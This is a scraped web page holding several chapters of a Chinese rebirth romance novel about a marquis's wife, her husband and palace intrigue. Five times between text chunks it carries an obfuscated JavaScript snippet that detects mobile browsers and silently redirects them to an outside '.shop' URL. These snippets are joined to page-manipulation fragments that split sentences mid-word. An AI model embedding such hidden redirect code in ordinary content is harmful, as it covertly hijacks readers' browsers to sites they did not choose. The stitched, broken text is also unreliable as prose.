;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954702|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前她一直觉得裴行舟不近女色,不重欲,如今瞧着正好相反。这也越发印证了自己心里的猜测。 她抬手制止了裴行舟,冷声问:“你何时将莲娘收入房中的?” 裴行舟心里的旖旎顿时消失不见,眉紧紧皱了起来。 莲娘是何人? 看着裴行舟的表情,邵婉淑瞬间就意识到自己猜错了。裴行舟是定南侯,也是个骄傲的人。他若真的收了人,不会是这般反应,定会大大方方承认。 所以,他并没有重生。 两人的身体还贴在一起,她能明显感觉到裴行舟的身体变化,说出口的话却是扎心的,眼下的情形有几分尴尬。 察觉到裴行舟的胳膊禁锢得没那么紧了,邵婉淑别开眼,转身平躺着。 裴行舟盯着邵婉淑看了片刻,也平躺回去,两人之间隔着一拳的距离。 很快,裴行舟低沉的声音在漆黑的屋里响起。 “夫人日日让人盯着前院,我若当真收了人你岂会不知?” 裴行舟的话虽然没什么起伏,但邵婉淑还是能听出来里面的一丝嘲讽。 刚嫁过来时,邵婉淑的确听从了爹娘的建议,让人盯着前院,作为妻子她想知道裴行舟有没有别的女人,想知道自己丈夫的去向。重生回来后,她不想再听任何关于裴行舟的事,便没再让人盯着。这事儿的确是她做的不对,是她理亏。换位思考一下,若裴行舟让人盯着自己的一举一动,她也不会不舒服的。 但,今晚她被勾起了前世的回忆。想起关于莲娘的事情,她心里郁结,胆子大了些,没了平日的顾忌,语气有些不善。 “我只让人盯了前院,侯爷若是在外收了人我也未必知道。” 若说裴行舟的话没有丝毫起伏,只是隐隐泄露情绪的话,邵婉淑的话就是明晃晃的嘲讽了。 夫妻二人说出口的话一个比一个难听。 裴行舟眉头紧紧皱了起来。 他没有责怪她盯着他的行踪,她竟嘲讽他在外偷吃,她这胆子着实大得很,从前的温良贤淑竟都是装出来的不成? “夫人贤惠,我若当真收了人,定不会养在外面,一定会带回府。” 这话着实刺耳,但是有什么东西在邵婉淑脑海中快速划过,没有抓住。邵婉淑越想也不舒服,卷过被子,侧身面对墙,不再搭理裴行舟。 裴行舟身上本就没了衣物遮挡,顿时感觉身上一凉,看着自己狼狈的模样,起身穿上衣裳离开了。 青云已经打算去歇着了,看到侯爷沉着脸出来了,连忙跟上了。心里琢磨着,方才不是还和夫人好好的,怎么突然就生气了。 深秋的风带着几分凉意,一路行来,裴行舟早就清醒过来,去书房处理公务了。 一个时辰后,裴行舟的心情平静下来。此刻,他回想起刚刚邵婉淑说过的话。邵婉淑不是个会无理取闹的人,她这么说定是有缘由的。瞧着她当时的神情,这个叫莲娘的人一定很重要。 莫非有人在背后做了什么事? “前院伺候的人里可有叫莲娘的?” 青云仔细想了想,道:“没有。” 裴行舟沉默了片刻,又继续问道:“庄子上呢?” 侯府那么多庄子,青云一时还真不清楚。 “不知道。” 裴行舟:“你去查一查,包括别院。” 青云:“是。” 15.第 15 章 见裴行舟离开,阿梨着实有些担忧,连忙去屋里看了下。走到床边轻声唤了几声,没有得到一丝回应。她犹豫了一下,掀开了床幔,看到自家夫人已经睡着了终于放心了。 裴行舟离开后,邵婉淑一点后悔都没有,反倒是因为把憋在心里的话说出来感到一丝畅快。她一人独占一张大床,因为身体的疲惫,很快就睡着了。 第二日一早醒来,她揉了揉有些酸痛的腰身,心里的疑惑更甚。若裴行舟没有重生的话,今生他为何跟前世有那么大的不同?前世他一个月最多回内宅两次,如今他隔个三五日就回来。白日里还好,跟从前一样冰冷内敛,可在夜里就像是换了个人似的,疯狂又冲动。 邵婉淑想了许久都没能想明白这其中的缘由。 接下来几日,裴行舟又不见人了。 这日,邵婉淑正在吃着早饭,阿桔一脸喜色地从外面进来了。 “夫人,贵妃娘娘身边的嬷嬷来了,宣您进宫。” 邵婉淑微微一怔,她并不记得前世这个时候姑母宣她入宫了,她记得年底的宴席上她才见到了姑母。不知姑母突然叫她入宫所为何事。 用过朝食后,邵婉淑坐马车去宫里了。 入了昭阳宫后,看着坐在上面容貌姣好,风姿绰约的人,邵婉淑眼眶一热。 前世,她是带着使命嫁入定南侯府的。姑母和父亲一直逼她拉拢裴行舟,将裴行舟拉入三皇子的阵营。后来,裴行舟死了,父亲也逼她去死。但姑母却让人传话,说会偷偷给她换个身份,让她隐姓埋名活着。和父亲相比,姑母对她还是有着一丝怜悯之心。那时她脑子乱得很,整个人都是懵的,并未答应姑母的提议。 “啪。”一个白玉做的茶杯碎在了邵婉淑脚边。 邵婉淑回过神来,看着姑母盛怒的神情,她回到了现实。 贤贵妃高声质问:“你婆母说让你管家,你为何要拒绝?” 原来姑母是因为这件事把她召进宫的。如今裴行舟没死,姑母仍旧要逼她拉拢他。 前世,姑母是宫里贵妃,身份尊贵,她有些畏惧她,不敢得罪分毫,每次都是恭恭敬敬的,生怕惹她不高兴,会被降罪。经历了前世,她知道姑母是个嘴硬心软,顾念亲情的人,心里没那么害怕了。 邵婉淑为自己找了一套说辞:“侯府家大业大,我担心自己管不过来。” 贤贵妃嗤笑一声,并不相信她:“杜家的姑娘能管得过来,你怎么管不过来了?出嫁前我不是安排嬷嬷教过你了吗?” 邵婉淑垂着头不说话。 贤贵妃:“你给我说实话,到底是为何?” 眼见着这个理由不够用了,邵婉淑思索片刻,将这件事推到了裴行舟身上。 “侯爷不让我管家。” 父亲和姑母一心想要拉拢裴行舟,而裴行舟的表现却很冷淡。他们二人十分忌惮裴行舟,定不会拿此事去问他的。 贤贵妃皱眉:“定南侯不让你管家?” 邵婉淑:“对。” 贤贵妃:“他不让你管家,你就不管家了吗?你是侯夫人,整个侯府内宅的事都应该听你的安排。定南侯是大皇子的人,他定是怕你把侯府拿捏在手中,故意不让你管家的……” 邵婉淑也不说话,就这么默默听着。 贤贵妃骂了一会儿裴行舟,又道:“你回去就跟你婆母说,你要管家。” 邵婉淑一脸为难的模样:“姑母,侯爷不让我管家,我跟婆母说了也没用。” 贤贵妃:“他一个男子,胳膊伸不了那么长,他本就和你婆母不对付,你尽管去要。无论如何有我在背后给你撑腰。” 邵婉淑还是不说话。 贤贵妃盯着邵婉淑瞧了瞧,看到了她脖颈上隐隐露出来的一丝痕迹,她太明白这是什么了,结合她最近听到的事情,似是想到了什么,沉着脸问:“你莫不是爱上定南侯了?” 邵婉淑刚想反驳,又觉得反驳后也没有更好的理由了,索性默认了。 贤贵妃终于明白自己一向听话向着娘家的侄女为何油盐不进了,原来是爱上了定南侯,她顿时就怒了,抬手拍了一下桌子,道:“你怎么能干这么蠢的事情!愚不可及,简直愚不可及!” 邵婉淑不语。 贤贵妃:“你难道忘了这门亲事是怎么来的了?你一心扑在定南侯身上,他对你又是如何看的?你清醒一点,他是不可能爱上你的!” 她本想再裴行舟身边安插自己的人,万万没有想到自己的人竟然会倒戈。 邵婉淑对这件事再清楚不过了,前世她和裴行舟就没什么感情。裴行舟不喜欢她,她也不喜欢他。她也不反驳,就这么站着。 贤贵妃气不打一处来,又问了一遍:“你到底去不去要管家权?” 邵婉淑:“姑母,侄女实在是不敢违逆侯爷……” 贤贵妃气得不行,咬着牙道:“你跪在这里好好反省吧!” 说完,离开了大殿。 邵婉淑默默跪在了殿中。 三皇子上完早课来了昭阳殿中,得知表姐过来了,他想见一见她,结果被拒绝了。他也没多说什么,离开了大殿。等出去后,从宫人口中得知表姐被罚跪,他瞒着贤贵妃偷偷跑了过去。 邵婉淑正跪在殿中,突然听到身后传来了一丝动静。 很快,那人来到了自己面前,蹲下了。 “表姐,你还好吗?” 邵婉淑看向了来人,来人是个英俊的少年,一身墨绿色的锦缎,面如冠玉,唇红齿白,眼神清澈。这是贤贵妃的儿子,也是三皇子。 “见过殿下。” 三皇子:“表姐何故如此多礼。” 邵婉淑:“礼不可废。” 三皇子:“母妃为何罚你?” 邵婉淑并未跟三皇子多说什么,只简单道了一句:“没多大事,是我做错了事惹姑母不高兴了。” 三皇子抿了抿唇,垂眸,道:“母妃定是想让你拉拢定南侯,让他助我争储。” 邵婉淑没说话,默认了此事。 三皇子:“表姐,你别听母妃的,这皇位我根本就不想要,你跟定南侯好好过。” 邵婉淑怔了一下。 三皇子也跟前世不同了。前世三皇子虽然也说过自己对皇位无意,让她不要试图拉拢裴行舟,但每次说的都很隐晦,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962366|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次却直接给她挑明了。想来他是知道自己和姑母发生了争执,觉得他们二人的观点是一致的才会跟他坦白。 邵婉淑:“好。” 听到这一声好,三皇子有些意外,随后脸上浮现出笑容。他知道表姐很为难,但从前他每次跟表姐说起此事,表姐总是沉默不语,事后还是会听母妃和舅舅的话,没想到今日表姐竟然应下了。 “你等着,我找人来救你。” 邵婉淑诧异,找人救她,还能找谁,皇上吗?虽说姑母罚了她,但她不希望此事惊动皇上,以免影响姑母和皇上的感情。她连忙阻止道:“殿下,我和姑母只是一些小争执,此事莫要惊动皇上。” 三皇子笑着说:“我知道,你放心好了。” 出了昭阳殿,三皇子看向身边的小太监:“你去打听一下定南侯出宫了没有?” 阿丁:“是,殿下。” 不多时,阿丁来报了:“殿下,定南侯正在宫中议事,尚未出宫。” 三皇子:“知道了,去盯着,等他出来后过来报我。” 阿丁:“是,殿下。” 裴行舟议完事便准备离开皇宫了,刚走了没多远便看到了三皇子。瞧着这样子,三皇子应该是特意等他的。 “见过殿下。” 三皇子:“定南侯。” 裴行舟:“不知殿下有何差遣?” 三皇子:“表姐被母妃召到宫里来了,她做错事惹我母妃不高兴,正在被我母妃罚跪,你想个办法接她出宫吧。” 裴行舟眼眸微闪。邵婉淑上次回娘家被邵侍郎打了一巴掌,这次来宫里又被贤贵妃罚跪,这事儿若是放在半个月前他是无论如何都不会相信的。 她这是在反抗邵家吗? “好,多谢殿下提醒。” 三皇子说完事却没有离开。 裴行舟:“殿下还有事?” 三皇子脸上浮现出来一丝扭捏的神色,期期艾艾地问道:“那个,侯爷,我大皇兄最近有没有给你来信?” 裴行舟又是一怔,恭敬地道:“微臣没有收到大皇子的信件。” 三皇子脸上露出来失望的神情,很快又扬起了笑容。 “哦,也没给你写信啊。” 他本想从裴行舟这里知道大皇兄的近况,得知裴行舟没有收到信件,他十分失望。但转念一想,大皇兄没给自己写信,也没给他的定南侯写信,看来大家都是一样的。 裴行舟多问了一句:“殿下可是有事想问大皇子?” 三皇子:“也没什么事,都是我们兄弟间的事情,外人是不会知道的。” 裴行舟微微蹙眉,既然外人不知道,三皇子又为何要问他,岂非自相矛盾? 三皇子:“我还要去见范学士,你去救表姐吧。” 裴行舟:“多谢殿下。” 三皇子:“你是该好好谢谢我,我听说表姐之所以被母妃罚是因为侯爷。” 裴行舟显然没料到是这个原因,难得愣了一下。 看着裴行舟的反应,三皇子满意地笑了。看来表姐和定南侯之间的关系也没有那么糟糕,他没有继续解释,离开了此处。 16.第 16 章 贤贵妃虽然刚刚很生邵婉淑的气,但过了一会儿,自己心里也有些不得劲儿了。 “你说本宫当初是不是不该把她嫁给定南侯?” 齐嬷嬷:“娘娘也是为了三皇子着想,再说了,定南侯府门第高,对大姑娘而言是一门极好的亲事。要不是有娘娘您在,大姑娘也嫁不了这么好。” 贤贵妃叹了一声,道:“哎,我本来也觉得这是门好亲事,可我万万没想到她会爱上定南侯。像定南侯这种一心扑在公务,满心都是夺嫡之心的人又怎会有儿女情长?如今他身边虽然没有妾侍,但将来会有无数人。这个傻丫头怕是要吃苦了。” 齐嬷嬷:“娘娘真是心善,大姑娘顶撞了您,您还为她着想。” 贤贵妃:“她是我亲侄女,我不为她着想还能为谁着想?” 齐嬷嬷:“那侯府管家权怎么办?老爷希望您能劝得动大姑娘。” 齐嬷嬷是邵家的人,跟着贤贵妃入了宫。 贤贵妃:“罢了,真拿了管家权又能怎样,侯府内宅还有个老夫人当家做主。还不如让她抓住定南侯的心,说不定定南侯还能改变主意支持祐儿呢。” 齐嬷嬷犹豫了一下,说道:“大姑娘那样的怕是很难让定南侯倾心。” 贤贵妃可以说邵婉淑的不是,但却不喜欢听旁人说她。听到齐嬷嬷也这样说,顿时就不高兴了。 “她那样是哪样?婉淑长得漂亮,知书达理,定南侯怎么就不可能喜欢她了?” 见贤贵妃不悦,齐嬷嬷连忙解释道:“老奴不是这个意思,老奴说的是大姑娘的性情。” 贤贵妃也知道自己侄女的性子有些死板,她长叹一声,道:“人总是会变的,再说了,定南侯最近常常去她院中,说不定定南侯就喜欢这样的。” 齐嬷嬷也不好再多说什么了。 就在这时,宫女来报,裴行舟以府中有事为由要接邵婉淑回府。 贤贵妃顿时眼前一亮,看向齐嬷嬷:“你看,我说什么来着,就这么一会儿没见这人,他就过来要人了。” 齐嬷嬷:“老奴听说是殿下方才去找他了,兴许是殿下和他说了什么。” 贤贵妃顿了顿,道:“别管是不是主动来的,至少他过来要人了。” 齐嬷嬷犹豫了一下,说:“他这样做是不是对您有些不敬?” 贤贵妃:“你这是哪里话,他来接自己的夫人跟对我敬不敬有什么关系?” 齐嬷嬷:“是,是老奴错了。” 贤贵妃:“把侯夫人请过来。” 宫女:“是。” 邵婉淑来到了主殿中,见姑母一改刚刚的冷脸,有些诧异。 “姑母,管家的事我实在是有些为难。” 贤贵妃:“先别说管家的事了,定南侯来接你了。” 邵婉淑微微一愣。 裴行舟竟然会来接她?为何?前世不管她回娘家还是被姑母宣入宫中,裴行舟从未会过问。她突然想起了方才三皇子说过的话,一下子就想明白了。原来三皇子说要找人救她,找的人是裴行舟。裴行舟是大皇子的人,跟三皇子不是一个阵营,没想到三皇子竟然会找他。 贤贵妃笑着说:“你看看你这没出息的样子,听到定南侯来接你竟然欢喜傻了。” 邵婉淑:…… 贤贵妃:“定南侯相貌英俊,年轻有为,你爱慕他也很正常。不过,姑母得交代你几句。一定要守好自己的心,别为了一个男子把自己的心丢了。” 邵婉淑的心从来都不在裴行舟身上,重活一世,她知道姑母是关心她的。 “多谢姑母提醒。” 贤贵妃:“回去吧。” 邵婉淑拜别贤贵妃。 邵婉淑从宫里出来,看着停在宫门外的马车,十分意外。她原以为裴行舟只是让人传话,没想到他竟然还在。 青云:“见过夫人。” 邵婉淑:“嗯。” 前几日二人刚吵过架,裴行舟今日还愿意动用侯府的关系去救她,邵婉淑不知该如何面对裴行舟,转身想要上自己来时的马车。 青云拦住了邵婉淑的去路:“夫人,侯爷在等您。” 邵婉淑脚步顿了顿,上了裴行舟的马车。 掀开帘子后,邵婉淑看到了裴行舟。 裴行舟的马车比邵婉淑的要宽敞一些。此刻,他正在马车里闭目养神。马车昏暗,裴行舟的脸隐藏在黑暗中,看不清楚表情。 邵婉淑坐在了左边,靠近门口的地方,离裴行舟远远的。 等她坐稳,裴行舟沉声道:“走吧。” 马车吱扭吱扭朝着定南侯府行去。 马车行进了一段路之后,见裴行舟一直不开口说话,邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967685|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉淑主动说道:“多谢侯爷。” 裴行舟立即就回答了:“不必,是三皇子给我传的信。” “嗯。”邵婉淑应了一声。她猜得果然没错,是三皇子去找的裴行舟。她只是有些意外,三皇子为何会想起去找裴行舟,而裴行舟又为何会听三皇子的。这些问题,她只在心里想了想便罢了,是不会拿出来问裴行舟的。 两人又是一阵沉默。 见裴行舟没有再开口说话的意思,邵婉淑闭上了眼,靠在马车上小憩。 突然,裴行舟低沉的声音在马车里响了起来。 “我不知夫人从哪里听说的莲娘这个人,这几日我让人查过,前院、别院以及庄子上都没有叫莲娘的丫鬟。” 邵婉淑缓缓睁开眼,看了一眼裴行舟的方向。她没想到裴行舟竟然把这话放在了心上,还让人去查了。 “哦,我知道了。是我听信传言,误会了你。” 那莲娘家在西北,京城又怎可能有这个人呢。 裴行舟的目光有些犀利,问:“何人给你传的这番话?” 邵婉淑不敢看裴行舟的眼睛,别开了眼,没说话。 裴行舟看出来邵婉淑不想回答,眉微微皱了一下。他没再多言,两人又沉默下来。 今日裴行舟毕竟去救了她,邵婉淑心里还是感激的,眼见着快到府中了,她开口表明自己的态度:“从前的事是我不对,前院盯梢的人我已经撤回来了,请侯爷放心,以后我不会再让人盯着侯爷的行踪。” 听着邵婉淑这番话,裴行舟本来应该高兴的,但却莫名有些不适,但又说不出来为何。 “嗯。” 马车到了定南侯府,邵婉淑下了马车,裴行舟离开了侯府。 晚上,得知邵婉淑身边的人又来盯着前院了,裴行舟有些诧异。以他对邵婉淑的了解,她既然说了不会再盯着他,定然不会继续盯着。 除非—— 这个人不是邵婉淑的人。 裴行舟面色一沉,吩咐道:“让人去查一查。” 青云:“是。” 裴行舟端起桌上的茶喝了一口,眉头又皱了起来。 青云有些不解,他明明准备的明前龙井,为何侯爷还是不喜欢。 见手头的公务已经忙完,想到已经数日没有回内宅了,裴行舟起身回了韶华院。 17.第 17 章 从宫里回来后,邵婉淑在院子里歇了半日,此刻她还不困,正斜靠在榻上看书。听到门外的动静,她十分诧异。她和裴行舟白日里刚见过,没想到他晚上又来了。 阿桔照旧上了一壶茶,默默退了出去。 见侯爷喝了一口眉头舒展开,青云随着阿桔出去了。 “阿桔姑娘,你为何骗我?” 听到这个问题,阿桔有些莫名其妙:“我何时骗你了?” 青云:“你说为侯爷准备的是明前龙井,可侯爷并不喜欢喝。” 阿桔面色有些古怪。 青云看出来有隐情,诚心道:“还请阿桔姑娘告知。” 阿桔小心翼翼地看了一眼屋里,小声道:“我兑水了。” 青云:…… 阿桔:“夫人担心侯爷晚上喝太浓的茶睡不着觉,就让我往里面兑水了,这茶比素日里泡茶用的水多一倍。” 青云想破脑袋也没想出来答案竟然是这样的。是他多想了,侯爷一向对茶没什么研究,也就是夫人为他送茶之后他才开始喜欢的。茶里是否多兑了水,他或许是真的不知道。 见裴行舟拿起盘子里的桂花酥吃了起来,邵婉淑更是惊讶不已。他一向不爱吃甜食,今日为何突然主动吃了。 许是邵婉淑的目光太过直白,裴行舟吃完一个,看向她。 邵婉淑没说话,把面前的盘子往裴行舟那边推了推。 裴行舟又吃了一个。 邵婉淑实在没忍住,问了一句:“侯爷喜欢吃甜食?” 裴行舟:“不喜欢。” 糕点太腻,他一向不喜。 邵婉淑更疑惑了,既然不喜欢,为何要吃? 裴行舟难得多解释了一句:“行军时野菜树皮也吃过,只要能裹腹的东西都能吃。” 这句话邵婉淑听明白了,直白来说就一句:裴行舟饿了,所以他不挑。 这一刻,她这几日纠结的事情突然就有了答案。 不是裴行舟和前世不一样了,而是她对裴行舟不够了解。前世二人虽说做了三年的夫妻,但见面的次数着实少。她每日忙于内宅管家,裴行舟忙于公务,裴行舟又外出打仗一年,两人没多少相处的时间。即便是晚上见了面,俩人多半也没什么言语上的交流。 事实上,自从她重生回来,奇怪的事情又岂是只有裴行舟这边。前世她问婆母要管家权,婆母拒绝多次才给,今生她没有要,婆母却主动给了她管家权。姑母也并未宣她入宫,今生却宣她入宫了。或许,因为她的重生,很多事情和很多人都发生了改变。裴行舟的改变虽有些奇怪,但也不显得突兀了。 “我让厨房准备一些饭食。” 偌大的侯府,还能饿着一个侯爷不成? 裴行舟吃了三块桂花酥便拿起帕子擦了擦手,道:“不必了。” 邵婉淑也没再多言。 她坐在一旁看书,裴行舟坐在那里喝茶。裴行舟不说话,邵婉淑也没话跟他说。 坐了一会儿后,邵婉淑实在是有些疲惫,起身去沐浴了,随后去床上歇着了。 没过多久,裴行舟也上床歇着了,屋里的灯很快就熄灭了。 邵婉淑忐忑了一会儿,见裴行舟没什么动作,放心了,她侧身面对里侧睡了。 裴行舟看了一眼身上被拉走的被子,瞥了一眼背对着他的人,开口问道:“贵妃娘娘为何罚你?” 三皇子说贵妃娘娘之所以罚邵婉淑,是因为他。 邵婉淑睁开眼,顿了顿,道:“没什么,一些小事罢了。” 裴行舟这次却没就这么算了,直接点了出来:“三皇子说贵妃娘娘罚你是因为我。” 邵婉淑没想到三皇子竟然会跟裴行舟说这样的话,裴行舟是大皇子的伴读,两人关系甚笃,他们不应该水火不容吗? 一直这么背对着人说话显得十分无礼,她平躺过来。 裴行舟抬手将被子盖在了身上。 邵婉淑这才注意到自己方才竟然将被子都卷走了,一时有些尴尬。 裴行舟将被子盖在身上后,什么都没说。 见他如此,邵婉淑也假装无事发生,回答了裴行舟方才的问题。 “姑母让我接管家权,我拒绝了。” 既然裴行舟已经知道了此事,她也没什么好隐瞒的了。姑母本就和大皇子那边不太对付,说与不说,也没什么不同。 裴行舟:“为何不答应?” 邵婉淑觉得裴行舟的问题有点多,今日有些刨根问底的意思。她把问题抛给了裴行舟:“不是侯爷不让我管家的吗?” 裴行舟侧头看向邵婉淑,试图从她的脸上看出来什么。她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973038|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向以娘家为先,如今竟会听他的安排。不仅拒绝了母亲的提议,甚至拒绝了侍郎府和贤贵妃。这一点让他十分意外,但又很是熨帖。 裴行舟转过头,应了一声:“嗯。” 提及此事,邵婉淑想到了白日里在宫里跟姑母说过的话,微微觉得有些不好意思。 “那个……” 裴行舟:“嗯?” 邵婉淑:“我可能做了件对不住侯爷的事。” 裴行舟脑海中想过无数事,但什么也没提,沉声问:“何事?” 邵婉淑:“我拒绝姑母时将此事推到了侯爷身上,姑母可能会对您有些不满。” 裴行舟没料到邵婉淑会如此说,道:“夫人方才不是说了么,是我不让你管家的,本就是我的问题。” 虽说裴行舟提过,但邵婉淑心里清楚,她之所以不接管家权是因为她自己,跟裴行舟无关,所以她觉得有些抱歉。 裴行舟:“夫人这件事做得很好,以后再有这样的事,不必一个人默默顶着,全都推到我身上便是。” 邵婉淑侧头看向裴行舟。裴行舟这人好生奇怪,那日她怀疑他有了别的女子,他气得不行,转身离去。今日她把这么重要的问题推到了他的身上,他却语气轻松,还挺高兴似的。 恰好裴行舟也看了过来,二人的目光对在了一起。 不知是不是因为床上光线太暗,邵婉淑觉得此刻裴行舟的目光比刚刚在外间时温柔了许多。 下一瞬,裴行舟抬起了手,拇指指腹抚摸着邵婉淑的脸颊,温声道:“我是你的丈夫,你可以试着依靠我。” 邵婉淑眸光一闪。 她真的……可以相信他吗? 裴行舟的吻落在了邵婉淑的额头上。 邵婉淑心头一颤,她能感受到这个亲吻十分的温柔。但很快,她又逼着自己冷静下来。与其相信一个男人,不如趁他死之前赶紧生个孩子,给自己一个依靠。虽然裴行舟最近一改往常,时常来内宅,但谁知道他哪一日又恢复到从前的样子。万一他还是一个月来两次,孩子何时才能怀上,还是抓紧时间行动吧。想到这里,她抬手圈住了裴行舟。 邵婉淑难得主动回应裴行舟,裴行舟落在邵婉淑唇上的吻力道加深,身体也很快覆了过来。 月上中天,树影婆娑,沙沙作响。 18.第 18 章 第二日是初一,原本昨日邵婉淑就该见一见铺子里的掌柜,但由于她去了宫里,便没有见着。见阿梅正在院子里侍弄花草,邵婉淑把她叫了进来。 “给你父亲传话,让他通知京城几间铺子的掌柜,今日申时来府中一趟。” 阿梅:“是,夫人。” 阿梅一家都跟着邵婉淑陪嫁过来。她的父亲是禄叔,负责邵婉淑外面的陪嫁,母亲是香婆子,在庄子上。这一家人都是自己十分信任的人。禄叔十分能干,打理她的产业,帮她办事,打探外面的消息。香婆子也把庄子上的事情打理得井井有条,每年都有一些产出。 虽说自己不再管家了,但私产还是要打理好,总不能花钱的时候问裴行舟要。 邵婉淑一共有三间铺子,两间书肆,一间茶叶铺子。这三间铺子只有开在书院附近的那间书肆在赚钱,另外两间都不赚钱。前世,在捉襟见肘时,她将这两间铺子卖掉了,填补了侯府的窟窿,后来她听说那两间铺子开得红红火火的。如今想想她还真是蠢的要命,那俩铺子地段不错,只是经营的种类不太合适,不如及时调整一下,变亏为盈。 眼见着马上就要到申时了,阿梨提醒道:“夫人,咱们要不要把屏风拿过来挡一挡。” 邵婉淑:“不必了。” 从前她一直听从父亲和母亲的话,几乎没见过外男,就连府里的管事都要隔着屏风才能见。到了侯府后,管事的都会直接见侯府的女眷。一开始她并不赞同这种做法,总想着躲一躲。可她身为当家主母,躲无可躲,而且,她躲起来反倒是不好安排。 此举委实迂腐得很。 阿梨还想说些什么,阿桔道:“夫人也该见见他们了,他们老是见不着夫人,说不定在背后干些什么坏事儿呢。” 阿梨想到侯府管事也会来内宅,没再多言。 不多时,禄叔和三个掌柜一同来了。 邵婉淑坐在上首,让人给几人上了茶,听他们说铺子的事情。 在听到有两间铺子亏损时,直接道:“既然不赚钱,这两间铺子便全都改行吧。” 这并非是邵婉淑一时冲动,此事她已经想了许多日子,心里已经有了打算。 两个掌柜的脸上露出来惊讶的神情,同时看向了禄叔。 看着他们二人的反应,邵婉淑心里也是一惊。从前她在屏风后见人,还真没注意到这两个掌柜的竟然对禄叔这般信任,甚至……超过了她。 禄叔:“夫人,这两间铺子开了许多年了,里间的人都是老爷安排的,这样冒然去改是不是不太妥当。” 出于对禄叔的信任,邵婉淑没直接反驳,而是道:“据我所知这两间铺子也不是第一年亏损了,既然不赚钱还是改了吧。” 禄叔提醒道:“此事要不要和老爷说一声?” 邵婉淑眉头紧紧皱了起来。这两间铺子既然给了她,便是她的私产了,禄叔也是她的人,他怎么还想着事事去问父亲。她脸色一沉,道:“不必。城北的那间书肆改成饭馆,让京郊庄子上的林厨去掌勺,城南的茶叶铺子改成茶馆。” 这次禄叔没开口,城北书肆的王掌柜先开口了。 “夫人,老爷是礼部侍郎,咱们一直都是做书肆生意的,饭馆的话改动太大,也不太文雅,不符合身份,要不还是和老爷说一声吧?” 邵婉淑眯了眯眼。这是今日她第三次听到他们提起来父亲了。她竟不知她嫁入侯府后,这些铺子的人竟还处处以父亲为先。前世她一直顺从父亲,没有反抗,大家的想法是一致的,所以她从来没发现这一点。如今她不过是微微改变了一下,他们就敢质疑她的决定了。 “你们究竟是父亲的人,还是我的人?” 几人顿时一惊,连忙站起身来。 邵婉淑用目光扫视了一圈,缓缓说道:“这铺子如今随我嫁入了定南侯府,便是我的了。我不管从前你们听谁的,如今只能听我一个人的安排。若还认旧主,今日出了门大可离去。” 几人连忙应诺。 邵婉淑又继续对几位掌柜的道:“城北书肆的书运去书院附近的书肆,茶叶铺子改成茶馆,拿铺子里原有的茶叶去卖。一边开茶馆,一边卖茶叶。先不要进货,看看铺子里的收益如何,若收益好,继续开下去,若收益不好,再做其他打算。” 茶叶铺子的掌柜立即就点头应下,城北书肆的掌柜的微微有些犹豫,但还是点头应下了。 邵婉淑:“都退下吧。” 等人都走后,阿桔不满地说道:“这些人怎么这个样子,明明是夫人的陪嫁,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977369|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都到了侯府了,他们还处处提侍郎府。” 阿梨:“或许是因为铺子从前是侍郎府的,他们一时改不过来。” 邵婉淑琢磨了一下,道:“嗯,再看看吧。他们究竟是没习惯,还是心在曹营心在汉。若他们还以侍郎府为先,那就留不得了。” 听到这话阿桔开心了。 因为今日是初一,按照侯府的规矩,今晚所有人都要去祥和院用晚饭。 酉正,邵婉淑穿戴好衣裳,准备去祥和院。 